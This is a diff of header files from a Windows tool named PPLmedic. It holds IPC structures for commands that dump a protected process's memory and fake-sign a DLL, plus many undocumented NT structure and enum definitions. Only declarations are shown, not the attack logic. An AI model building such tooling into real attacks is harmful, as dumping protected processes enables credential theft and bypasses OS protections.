     122 +#endif // _WINDLL
     123 + 
     124 +#define EXIT_ON_ERROR(c) if (c) { goto cleanup; }
     125 +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)
     126 +#define LAST_ERROR(b) b ? ERROR_SUCCESS : GetLastError()
     127 + 
     128 +// https://github.com/antonioCoco/MalSeclogon/blob/master/ntdef.h
     129 +#define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION) RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(OBJECT_TYPES_INFORMATION), ULONG_PTR))
     130 +#define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION) RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR))
     131 + 
     132 +enum class Command
     133 +{
     134 + Undefined,
     135 + ProcessDump,
     136 + Restore
     137 +};
     138 + 
     139 +//
     140 +// BEGIN Inter-Process Communication
     141 +//
     142 + 
     143 +enum class MessageType
     144 +{
     145 + DoGetProtectionLevel = 1,
     146 + DoDumpProcess,
     147 + DoFakeSignDll
     148 +};
     149 + 
     150 +typedef struct _MSG_REQUEST_FAKE_SIGN_DLL
     151 +{
     152 + WCHAR InputFilePath[MAX_PATH + 1];
     153 + WCHAR OutputFilePath[MAX_PATH + 1];
     154 + 
     155 +} MSG_REQUEST_FAKE_SIGN_DLL, * PMSG_REQUEST_FAKE_SIGN_DLL;
     156 + 
     157 +typedef struct _MSG_REQUEST_DUMP_PROCESS
     158 +{
     159 + DWORD Pid;
     160 + WCHAR OutputFilePath[MAX_PATH + 1];
     161 + 
     162 +} MSG_REQUEST_DUMP_PROCESS, * PMSG_REQUEST_DUMP_PROCESS;
     163 + 
     164 +typedef struct _MSG_REQUEST
     165 +{
     166 + MessageType Type;
     167 + union {
     168 + MSG_REQUEST_DUMP_PROCESS DumpProcess;
     169 + MSG_REQUEST_FAKE_SIGN_DLL FakeSignDll;
     170 + } p;
     171 + 
     172 +} MSG_REQUEST, * PMSG_REQUEST;
     173 + 
     174 +static_assert (sizeof(MSG_REQUEST) < PAGE_SIZE, "Structure is too large");
     175 + 
     176 +typedef struct _MSG_RESPONSE_PROTECTION_LEVEL
     177 +{
     178 + DWORD Level;
     179 + 
     180 +} MSG_RESPONSE_PROTECTION_LEVEL, * PMSG_RESPONSE_PROTECTION_LEVEL;
     181 + 
     182 +typedef struct _MSG_RESPONSE_FAKE_SIGN_DLL
     183 +{
     184 + DWORD Level;
     185 + 
     186 +} MSG_RESPONSE_FAKE_SIGN_DLL, * PMSG_RESPONSE_FAKE_SIGN_DLL;
     187 + 
     188 +typedef struct _MSG_RESPONSE
     189 +{
     190 + MessageType Type;
     191 + BOOL Result;
     192 + DWORD LastError;
     193 + union {
     194 + MSG_RESPONSE_PROTECTION_LEVEL SigningLevel;
     195 + MSG_RESPONSE_FAKE_SIGN_DLL ProtectionLevel;
     196 + } p;
     197 + WCHAR Message[512];
     198 + 
     199 +} MSG_RESPONSE, * PMSG_RESPONSE;
     200 + 
     201 +static_assert (sizeof(MSG_RESPONSE) < PAGE_SIZE, "Structure is too large");
     202 + 
     203 +//
     204 +// END Inter-Process Communication
     205 +//
  • ■ ■ ■ ■ ■ ■
    PPLmedic/ntstuff.h
     1 +#pragma once
     2 + 
     3 +#include <Windows.h>
     4 + 
     5 +#ifndef __NTDLL_H__
     6 +#define __NTDLL_H__
     7 + 
     8 +#ifdef __cplusplus
     9 +extern "C" {
     10 +#endif
     11 + 
     12 +#ifndef _NTDLL_SELF_ // Auto-insert the library
     13 +#pragma comment(lib, "Ntdll.lib")
     14 +#endif
     15 + 
     16 +#pragma comment(lib, "ntdll.lib")
     17 + 
     18 +#define STATUS_SUCCESS 0x00000000
     19 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
     20 +#define STATUS_INSUFFICIENT_RESOURCES 0xC000009a
     21 + 
     22 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntrtl.h
     23 +#define RtlOffsetToPointer(Base, Offset) ((PCHAR)(((PCHAR)(Base)) + ((ULONG_PTR)(Offset))))
     24 +#define RtlPointerToOffset(Base, Pointer) ((ULONG)(((PCHAR)(Pointer)) - ((PCHAR)(Base))))
     25 + 
     26 +// https://github.com/winsiderss/systeminformer/blob/master/phlib/include/phsup.h
     27 +#define PTR_ADD_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset)))
     28 +#define PTR_SUB_OFFSET(Pointer, Offset) ((PVOID)((ULONG_PTR)(Pointer) - (ULONG_PTR)(Offset)))
     29 +#define ALIGN_UP_BY(Address, Align) (((ULONG_PTR)(Address) + (Align) - 1) & ~((Align) - 1))
     30 +#define ALIGN_UP_POINTER_BY(Pointer, Align) ((PVOID)ALIGN_UP_BY(Pointer, Align))
     31 +#define ALIGN_UP(Address, Type) ALIGN_UP_BY(Address, sizeof(Type))
     32 +#define ALIGN_UP_POINTER(Pointer, Type) ((PVOID)ALIGN_UP(Pointer, Type))
     33 +#define ALIGN_DOWN_BY(Address, Align) ((ULONG_PTR)(Address) & ~((ULONG_PTR)(Align) - 1))
     34 +#define ALIGN_DOWN_POINTER_BY(Pointer, Align) ((PVOID)ALIGN_DOWN_BY(Pointer, Align))
     35 +#define ALIGN_DOWN(Address, Type) ALIGN_DOWN_BY(Address, sizeof(Type))
     36 +#define ALIGN_DOWN_POINTER(Pointer, Type) ((PVOID)ALIGN_DOWN(Pointer, Type))
     37 + 
     38 +#ifndef InitializeObjectAttributes
     39 +#define InitializeObjectAttributes( innerPath, n, a, r, s ) { \
     40 + (innerPath)->Length = sizeof( OBJECT_ATTRIBUTES ); \
     41 + (innerPath)->RootDirectory = r; \
     42 + (innerPath)->Attributes = a; \
     43 + (innerPath)->ObjectName = n; \
     44 + (innerPath)->SecurityDescriptor = s; \
     45 + (innerPath)->SecurityQualityOfService = NULL; \
     46 + }
     47 +#endif
     48 + 
     49 +#ifndef NT_SUCCESS
     50 +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
     51 +#endif
     52 + 
     53 +typedef enum _SECTION_INHERIT
     54 +{
     55 + ViewShare = 1,
     56 + ViewUnmap = 2
     57 + 
     58 +} SECTION_INHERIT;
     59 + 
     60 +typedef enum _OBJECT_INFORMATION_CLASS
     61 +{
     62 + ObjectBasicInformation,
     63 + ObjectNameInformation,
     64 + ObjectTypeInformation,
     65 + ObjectTypesInformation,
     66 + ObjectHandleFlagInformation,
     67 + ObjectSessionInformation,
     68 + MaxObjectInfoClass
     69 + 
     70 +} OBJECT_INFORMATION_CLASS;
     71 + 
     72 +typedef enum _SYSTEM_INFORMATION_CLASS
     73 +{
     74 + SystemBasicInformation, // 0x00
     75 + SystemProcessorInformation, // 0x01
     76 + SystemPerformanceInformation, // 0x02
     77 + SystemTimeOfDayInformation, // 0x03
     78 + SystemPathInformation, // 0x04 (Obsolete: Use KUSER_SHARED_DATA)
     79 + SystemProcessInformation, // 0x05
     80 + SystemCallCountInformation, // 0x06
     81 + SystemDeviceInformation, // 0x07
     82 + SystemProcessorPerformanceInformation, // 0x08
     83 + SystemFlagsInformation, // 0x09
     84 + SystemCallTimeInformation, // 0x0a
     85 + SystemModuleInformation, // 0x0b
     86 + SystemLocksInformation, // 0x0c
     87 + SystemStackTraceInformation, // 0x0d
     88 + SystemPagedPoolInformation, // 0x0e
     89 + SystemNonPagedPoolInformation, // 0x0f
     90 + SystemHandleInformation, // 0x10
     91 + SystemObjectInformation, // 0x11
     92 + SystemPageFileInformation, // 0x12
     93 + SystemVdmInstemulInformation, // 0x13
     94 + SystemVdmBopInformation, // 0x14
     95 + SystemFileCacheInformation, // 0x15
     96 + SystemPoolTagInformation, // 0x16
     97 + SystemInterruptInformation, // 0x17
     98 + SystemDpcBehaviorInformation, // 0x18
     99 + SystemFullMemoryInformation, // 0x19
     100 + SystemLoadGdiDriverInformation, // 0x1a
     101 + SystemUnloadGdiDriverInformation, // 0x1b
     102 + SystemTimeAdjustmentInformation, // 0x1c
     103 + SystemSummaryMemoryInformation, // 0x1d
     104 + SystemMirrorMemoryInformation, // 0x1e
     105 + SystemPerformanceTraceInformation, // 0x1f
     106 + SystemObsolete0, // 0x20
     107 + SystemExceptionInformation, // 0x21
     108 + SystemCrashDumpStateInformation, // 0x22
     109 + SystemKernelDebuggerInformation, // 0x23
     110 + SystemContextSwitchInformation, // 0x24
     111 + SystemRegistryQuotaInformation, // 0x25
     112 + SystemExtendServiceTableInformation, // 0x26
     113 + SystemPrioritySeperation, // 0x27
     114 + SystemPlugPlayBusInformation, // 0x28
     115 + SystemDockInformation, // 0x29
     116 + SystemPowerInformationNative, // 0x2a
     117 + SystemProcessorSpeedInformation, // 0x2b
     118 + SystemCurrentTimeZoneInformation, // 0x2c
     119 + SystemLookasideInformation,
     120 + SystemTimeSlipNotification,
     121 + SystemSessionCreate,
     122 + SystemSessionDetach,
     123 + SystemSessionInformation,
     124 + SystemRangeStartInformation,
     125 + SystemVerifierInformation,
     126 + SystemAddVerifier,
     127 + SystemSessionProcessesInformation,
     128 + SystemLoadGdiDriverInSystemSpaceInformation,
     129 + SystemNumaProcessorMap,
     130 + SystemPrefetcherInformation,
     131 + SystemExtendedProcessInformation,
     132 + SystemRecommendedSharedDataAlignment,
     133 + SystemComPlusPackage,
     134 + SystemNumaAvailableMemory,
     135 + SystemProcessorPowerInformation,
     136 + SystemEmulationBasicInformation,
     137 + SystemEmulationProcessorInformation,
     138 + SystemExtendedHandleInformation,
     139 + SystemLostDelayedWriteInformation,
     140 + SystemBigPoolInformation,
     141 + SystemSessionPoolTagInformation,
     142 + SystemSessionMappedViewInformation,
     143 + SystemHotpatchInformation,
     144 + SystemObjectSecurityMode,
     145 + SystemWatchDogTimerHandler,
     146 + SystemWatchDogTimerInformation,
     147 + SystemLogicalProcessorInformation,
     148 + SystemWo64SharedInformationObosolete,
     149 + SystemRegisterFirmwareTableInformationHandler,
     150 + SystemFirmwareTableInformation,
     151 + SystemModuleInformationEx,
     152 + SystemVerifierTriageInformation,
     153 + SystemSuperfetchInformation,
     154 + SystemMemoryListInformation,
     155 + SystemFileCacheInformationEx,
     156 + SystemThreadPriorityClientIdInformation,
     157 + SystemProcessorIdleCycleTimeInformation,
     158 + SystemVerifierCancellationInformation,
     159 + SystemProcessorPowerInformationEx,
     160 + SystemRefTraceInformation,
     161 + SystemSpecialPoolInformation,
     162 + SystemProcessIdInformation,
     163 + SystemErrorPortInformation,
     164 + SystemBootEnvironmentInformation,
     165 + SystemHypervisorInformation,
     166 + SystemVerifierInformationEx,
     167 + SystemTimeZoneInformation,
     168 + SystemImageFileExecutionOptionsInformation,
     169 + SystemCoverageInformation,
     170 + SystemPrefetchPathInformation,
     171 + SystemVerifierFaultsInformation,
     172 + MaxSystemInfoClass,
     173 +} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;
     174 + 
     175 +typedef enum _PS_CREATE_STATE
     176 +{
     177 + PsCreateInitialState,
     178 + PsCreateFailOnFileOpen,
     179 + PsCreateFailOnSectionCreate,
     180 + PsCreateFailExeFormat,
     181 + PsCreateFailMachineMismatch,
     182 + PsCreateFailExeName, // Debugger specified
     183 + PsCreateSuccess,
     184 + PsCreateMaximumStates
     185 +} PS_CREATE_STATE;
     186 + 
     187 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     188 +typedef enum _PS_ATTRIBUTE_NUM
     189 +{
     190 + PsAttributeParentProcess, // in HANDLE
     191 + PsAttributeDebugObject, // in HANDLE
     192 + PsAttributeToken, // in HANDLE
     193 + PsAttributeClientId, // out PCLIENT_ID
     194 + PsAttributeTebAddress, // out PTEB *
     195 + PsAttributeImageName, // in PWSTR
     196 + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION
     197 + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE
     198 + PsAttributePriorityClass, // in UCHAR
     199 + PsAttributeErrorMode, // in ULONG
     200 + PsAttributeStdHandleInfo, // 10, in PPS_STD_HANDLE_INFO
     201 + PsAttributeHandleList, // in HANDLE[]
     202 + PsAttributeGroupAffinity, // in PGROUP_AFFINITY
     203 + PsAttributePreferredNode, // in PUSHORT
     204 + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER
     205 + PsAttributeUmsThread, // ? in PUMS_CREATE_THREAD_ATTRIBUTES
     206 + PsAttributeMitigationOptions, // in PPS_MITIGATION_OPTIONS_MAP (PROCESS_CREATION_MITIGATION_POLICY_*) // since WIN8
     207 + PsAttributeProtectionLevel, // in PS_PROTECTION // since WINBLUE
     208 + PsAttributeSecureProcess, // in PPS_TRUSTLET_CREATE_ATTRIBUTES, since THRESHOLD
     209 + PsAttributeJobList, // in HANDLE[]
     210 + PsAttributeChildProcessPolicy, // 20, in PULONG (PROCESS_CREATION_CHILD_PROCESS_*) // since THRESHOLD2
     211 + PsAttributeAllApplicationPackagesPolicy, // in PULONG (PROCESS_CREATION_ALL_APPLICATION_PACKAGES_*) // since REDSTONE
     212 + PsAttributeWin32kFilter, // in PWIN32K_SYSCALL_FILTER
     213 + PsAttributeSafeOpenPromptOriginClaim, // in
     214 + PsAttributeBnoIsolation, // in PPS_BNO_ISOLATION_PARAMETERS // since REDSTONE2
     215 + PsAttributeDesktopAppPolicy, // in PULONG (PROCESS_CREATION_DESKTOP_APP_*)
     216 + PsAttributeChpe, // in BOOLEAN // since REDSTONE3
     217 + PsAttributeMitigationAuditOptions, // in PPS_MITIGATION_AUDIT_OPTIONS_MAP (PROCESS_CREATION_MITIGATION_AUDIT_POLICY_*) // since 21H1
     218 + PsAttributeMachineType, // in WORD // since 21H2
     219 + PsAttributeComponentFilter,
     220 + PsAttributeEnableOptionalXStateFeatures, // since WIN11
     221 + PsAttributeMax
     222 +} PS_ATTRIBUTE_NUM;
     223 + 
     224 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     225 +typedef enum _PS_PROTECTED_TYPE
     226 +{
     227 + PsProtectedTypeNone,
     228 + PsProtectedTypeProtectedLight,
     229 + PsProtectedTypeProtected,
     230 + PsProtectedTypeMax
     231 +} PS_PROTECTED_TYPE;
     232 + 
     233 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     234 +typedef enum _PS_PROTECTED_SIGNER
     235 +{
     236 + PsProtectedSignerNone,
     237 + PsProtectedSignerAuthenticode,
     238 + PsProtectedSignerCodeGen,
     239 + PsProtectedSignerAntimalware,
     240 + PsProtectedSignerLsa,
     241 + PsProtectedSignerWindows,
     242 + PsProtectedSignerWinTcb,
     243 + PsProtectedSignerWinSystem,
     244 + PsProtectedSignerApp,
     245 + PsProtectedSignerMax
     246 +} PS_PROTECTED_SIGNER;
     247 + 
     248 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     249 +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff
     250 +#define PS_ATTRIBUTE_THREAD 0x00010000 // may be used with thread creation
     251 +#define PS_ATTRIBUTE_INPUT 0x00020000 // input only
     252 +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // "accumulated" e.g. bitmasks, counters, etc.
     253 + 
     254 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     255 +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 // NtCreateUserProcess & NtCreateThreadEx
     256 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 // NtCreateThreadEx only
     257 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 // NtCreateThreadEx only
     258 +#define THREAD_CREATE_FLAGS_LOADER_WORKER 0x00000010 // NtCreateThreadEx only
     259 +#define THREAD_CREATE_FLAGS_SKIP_LOADER_INIT 0x00000020 // NtCreateThreadEx only
     260 +#define THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZE 0x00000040 // NtCreateThreadEx only
     261 +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 // ?
     262 + 
     263 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     264 +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 // NtCreateProcessEx & NtCreateUserProcess
     265 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 // NtCreateProcessEx & NtCreateUserProcess
     266 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 // NtCreateProcessEx & NtCreateUserProcess
     267 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 // NtCreateProcessEx only
     268 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 // NtCreateProcessEx only, requires SeLockMemory
     269 +#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 // NtCreateProcessEx only, requires SeLockMemory
     270 +#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // NtCreateUserProcess only
     271 +#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 // NtCreateProcessEx & NtCreateUserProcess, requires SeLoadDriver
     272 +#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 // NtCreateProcessEx & NtCreateUserProcess
     273 +#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 // NtCreateProcessEx & NtCreateUserProcess
     274 +#define PROCESS_CREATE_FLAGS_FORCE_BREAKAWAY 0x00000400 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
     275 +#define PROCESS_CREATE_FLAGS_MINIMAL_PROCESS 0x00000800 // NtCreateProcessEx only
     276 +#define PROCESS_CREATE_FLAGS_RELEASE_SECTION 0x00001000 // NtCreateProcessEx & NtCreateUserProcess
     277 +#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL 0x00002000 // NtCreateProcessEx only
     278 +#define PROCESS_CREATE_FLAGS_CLONE_MINIMAL_REDUCED_COMMIT 0x00004000 //
     279 +#define PROCESS_CREATE_FLAGS_AUXILIARY_PROCESS 0x00008000 // NtCreateProcessEx & NtCreateUserProcess, requires SeTcb
     280 +#define PROCESS_CREATE_FLAGS_CREATE_STORE 0x00020000 // NtCreateProcessEx & NtCreateUserProcess
     281 +#define PROCESS_CREATE_FLAGS_USE_PROTECTED_ENVIRONMENT 0x00040000 // NtCreateProcessEx & NtCreateUserProcess
     282 + 
     283 +typedef struct _UNICODE_STRING
     284 +{
     285 + USHORT Length;
     286 + USHORT MaximumLength;
     287 + PWSTR Buffer;
     288 +} UNICODE_STRING, *PUNICODE_STRING;
     289 + 
     290 +#define OBJ_INHERIT 0x00000002L
     291 +#define OBJ_PERMANENT 0x00000010L
     292 +#define OBJ_EXCLUSIVE 0x00000020L
     293 +#define OBJ_CASE_INSENSITIVE 0x00000040L
     294 +#define OBJ_OPENIF 0x00000080L
     295 +#define OBJ_OPENLINK 0x00000100L
     296 +#define OBJ_KERNEL_HANDLE 0x00000200L
     297 +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L
     298 +#define OBJ_VALID_ATTRIBUTES 0x000007F2L
     299 + 
     300 +typedef struct _OBJECT_ATTRIBUTES
     301 +{
     302 + ULONG Length;
     303 + HANDLE RootDirectory;
     304 + PUNICODE_STRING ObjectName;
     305 + ULONG Attributes;
     306 + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
     307 + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
     308 +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
     309 + 
     310 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntobapi.h
     311 +typedef struct _OBJECT_TYPES_INFORMATION
     312 +{
     313 + ULONG NumberOfTypes;
     314 +} OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION;
     315 + 
     316 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntobapi.h
     317 +typedef struct _OBJECT_TYPE_INFORMATION
     318 +{
     319 + UNICODE_STRING TypeName;
     320 + ULONG TotalNumberOfObjects;
     321 + ULONG TotalNumberOfHandles;
     322 + ULONG TotalPagedPoolUsage;
     323 + ULONG TotalNonPagedPoolUsage;
     324 + ULONG TotalNamePoolUsage;
     325 + ULONG TotalHandleTableUsage;
     326 + ULONG HighWaterNumberOfObjects;
     327 + ULONG HighWaterNumberOfHandles;
     328 + ULONG HighWaterPagedPoolUsage;
     329 + ULONG HighWaterNonPagedPoolUsage;
     330 + ULONG HighWaterNamePoolUsage;
     331 + ULONG HighWaterHandleTableUsage;
     332 + ULONG InvalidAttributes;
     333 + GENERIC_MAPPING GenericMapping;
     334 + ULONG ValidAccessMask;
     335 + BOOLEAN SecurityRequired;
     336 + BOOLEAN MaintainHandleCount;
     337 + UCHAR TypeIndex; // since WINBLUE
     338 + CHAR ReservedByte;
     339 + ULONG PoolType;
     340 + ULONG DefaultPagedPoolCharge;
     341 + ULONG DefaultNonPagedPoolCharge;
     342 +} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
     343 + 
     344 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h
     345 +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
     346 +{
     347 + USHORT UniqueProcessId;
     348 + USHORT CreatorBackTraceIndex;
     349 + UCHAR ObjectTypeIndex;
     350 + UCHAR HandleAttributes;
     351 + USHORT HandleValue;
     352 + PVOID Object;
     353 + ULONG GrantedAccess;
     354 +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
     355 + 
     356 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntexapi.h
     357 +typedef struct _SYSTEM_HANDLE_INFORMATION
     358 +{
     359 + ULONG NumberOfHandles;
     360 + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
     361 +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
     362 + 
     363 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntobapi.h
     364 +typedef struct _OBJECT_NAME_INFORMATION
     365 +{
     366 + UNICODE_STRING Name;
     367 +} OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION;
     368 + 
     369 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntioapi.h
     370 +typedef struct _IO_STATUS_BLOCK
     371 +{
     372 + union
     373 + {
     374 + NTSTATUS Status;
     375 + PVOID Pointer;
     376 + };
     377 + ULONG_PTR Information;
     378 +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
     379 + 
     380 +// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_file_full_ea_information
     381 +typedef struct _FILE_FULL_EA_INFORMATION {
     382 + ULONG NextEntryOffset;
     383 + UCHAR Flags;
     384 + UCHAR EaNameLength;
     385 + USHORT EaValueLength;
     386 + CHAR EaName[1];
     387 +} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
     388 + 
     389 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     390 +typedef struct _PS_CREATE_INFO
     391 +{
     392 + SIZE_T Size;
     393 + PS_CREATE_STATE State;
     394 + union
     395 + {
     396 + // PsCreateInitialState
     397 + struct
     398 + {
     399 + union
     400 + {
     401 + ULONG InitFlags;
     402 + struct
     403 + {
     404 + UCHAR WriteOutputOnExit : 1;
     405 + UCHAR DetectManifest : 1;
     406 + UCHAR IFEOSkipDebugger : 1;
     407 + UCHAR IFEODoNotPropagateKeyState : 1;
     408 + UCHAR SpareBits1 : 4;
     409 + UCHAR SpareBits2 : 8;
     410 + USHORT ProhibitedImageCharacteristics : 16;
     411 + };
     412 + };
     413 + ACCESS_MASK AdditionalFileAccess;
     414 + } InitState;
     415 + 
     416 + // PsCreateFailOnSectionCreate
     417 + struct
     418 + {
     419 + HANDLE FileHandle;
     420 + } FailSection;
     421 + 
     422 + // PsCreateFailExeFormat
     423 + struct
     424 + {
     425 + USHORT DllCharacteristics;
     426 + } ExeFormat;
     427 + 
     428 + // PsCreateFailExeName
     429 + struct
     430 + {
     431 + HANDLE IFEOKey;
     432 + } ExeName;
     433 + 
     434 + // PsCreateSuccess
     435 + struct
     436 + {
     437 + union
     438 + {
     439 + ULONG OutputFlags;
     440 + struct
     441 + {
     442 + UCHAR ProtectedProcess : 1;
     443 + UCHAR AddressSpaceOverride : 1;
     444 + UCHAR DevOverrideEnabled : 1; // from Image File Execution Options
     445 + UCHAR ManifestDetected : 1;
     446 + UCHAR ProtectedProcessLight : 1;
     447 + UCHAR SpareBits1 : 3;
     448 + UCHAR SpareBits2 : 8;
     449 + USHORT SpareBits3 : 16;
     450 + };
     451 + };
     452 + HANDLE FileHandle;
     453 + HANDLE SectionHandle;
     454 + ULONGLONG UserProcessParametersNative;
     455 + ULONG UserProcessParametersWow64;
     456 + ULONG CurrentParameterFlags;
     457 + ULONGLONG PebAddressNative;
     458 + ULONG PebAddressWow64;
     459 + ULONGLONG ManifestAddress;
     460 + ULONG ManifestSize;
     461 + } SuccessState;
     462 + };
     463 +} PS_CREATE_INFO, * PPS_CREATE_INFO;
     464 + 
     465 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     466 +typedef struct _PS_STD_HANDLE_INFO
     467 +{
     468 + union
     469 + {
     470 + ULONG Flags;
     471 + struct
     472 + {
     473 + ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE
     474 + ULONG PseudoHandleMask : 3; // PS_STD_*
     475 + };
     476 + };
     477 + ULONG StdHandleSubsystemType;
     478 +} PS_STD_HANDLE_INFO, * PPS_STD_HANDLE_INFO;
     479 + 
     480 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     481 +typedef struct _PS_ATTRIBUTE
     482 +{
     483 + ULONG_PTR Attribute;
     484 + SIZE_T Size;
     485 + union
     486 + {
     487 + ULONG_PTR Value;
     488 + PVOID ValuePtr;
     489 + };
     490 + PSIZE_T ReturnLength;
     491 +} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
     492 + 
     493 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     494 +typedef struct _PS_ATTRIBUTE_LIST
     495 +{
     496 + SIZE_T TotalLength;
     497 + PS_ATTRIBUTE Attributes[1];
     498 +} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
     499 + 
     500 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntpsapi.h
     501 +typedef struct _PS_PROTECTION
     502 +{
     503 + union
     504 + {
     505 + UCHAR Level;
     506 + struct
     507 + {
     508 + UCHAR Type : 3;
     509 + UCHAR Audit : 1;
     510 + UCHAR Signer : 4;
     511 + };
     512 + };
     513 +} PS_PROTECTION, * PPS_PROTECTION;
     514 + 
     515 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/phnt_ntdef.h
     516 +typedef struct _CLIENT_ID
     517 +{
     518 + HANDLE UniqueProcess;
     519 + HANDLE UniqueThread;
     520 +} CLIENT_ID, * PCLIENT_ID;
     521 + 
     522 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntmmapi.h
     523 +typedef struct _SECTION_IMAGE_INFORMATION
     524 +{
     525 + PVOID TransferAddress;
     526 + ULONG ZeroBits;
     527 + SIZE_T MaximumStackSize;
     528 + SIZE_T CommittedStackSize;
     529 + ULONG SubSystemType;
     530 + union
     531 + {
     532 + struct
     533 + {
     534 + USHORT SubSystemMinorVersion;
     535 + USHORT SubSystemMajorVersion;
     536 + };
     537 + ULONG SubSystemVersion;
     538 + };
     539 + union
     540 + {
     541 + struct
     542 + {
     543 + USHORT MajorOperatingSystemVersion;
     544 + USHORT MinorOperatingSystemVersion;
     545 + };
     546 + ULONG OperatingSystemVersion;
     547 + };
     548 + USHORT ImageCharacteristics;
     549 + USHORT DllCharacteristics;
     550 + USHORT Machine;
     551 + BOOLEAN ImageContainsCode;
     552 + union
     553 + {
     554 + UCHAR ImageFlags;
     555 + struct
     556 + {
     557 + UCHAR ComPlusNativeReady : 1;
     558 + UCHAR ComPlusILOnly : 1;
     559 + UCHAR ImageDynamicallyRelocated : 1;
     560 + UCHAR ImageMappedFlat : 1;
     561 + UCHAR BaseBelow4gb : 1;
     562 + UCHAR ComPlusPrefer32bit : 1;
     563 + UCHAR Reserved : 2;
     564 + };
     565 + };
     566 + ULONG LoaderFlags;
     567 + ULONG ImageFileSize;
     568 + ULONG CheckSum;
     569 +} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION;
     570 + 
     571 +// https://github.com/winsiderss/systeminformer/blob/master/phnt/include/ntrtl.h
     572 +typedef struct _RTL_USER_PROCESS_INFORMATION
     573 +{
     574 + ULONG Length;
     575 + HANDLE ProcessHandle;
     576 + HANDLE ThreadHandle;
     577 + CLIENT_ID ClientId;
     578 + SECTION_IMAGE_INFORMATION ImageInformation;
     579 + 
     580 +} RTL_USER_PROCESS_INFORMATION, * PRTL_USER_PROCESS_INFORMATION;
     581 + 
     582 +typedef struct _STRING
     583 +{
     584 + USHORT Length;
     585 + USHORT MaximumLength;
     586 + _Field_size_bytes_part_opt_(MaximumLength, Length) PCHAR Buffer;
     587 +} STRING, * PSTRING, ANSI_STRING, * PANSI_STRING, OEM_STRING, * POEM_STRING;
     588 + 
     589 +typedef struct _CURDIR
     590 +{
     591 + UNICODE_STRING DosPath;
     592 + HANDLE Handle;
     593 +} CURDIR, * PCURDIR;
     594 + 
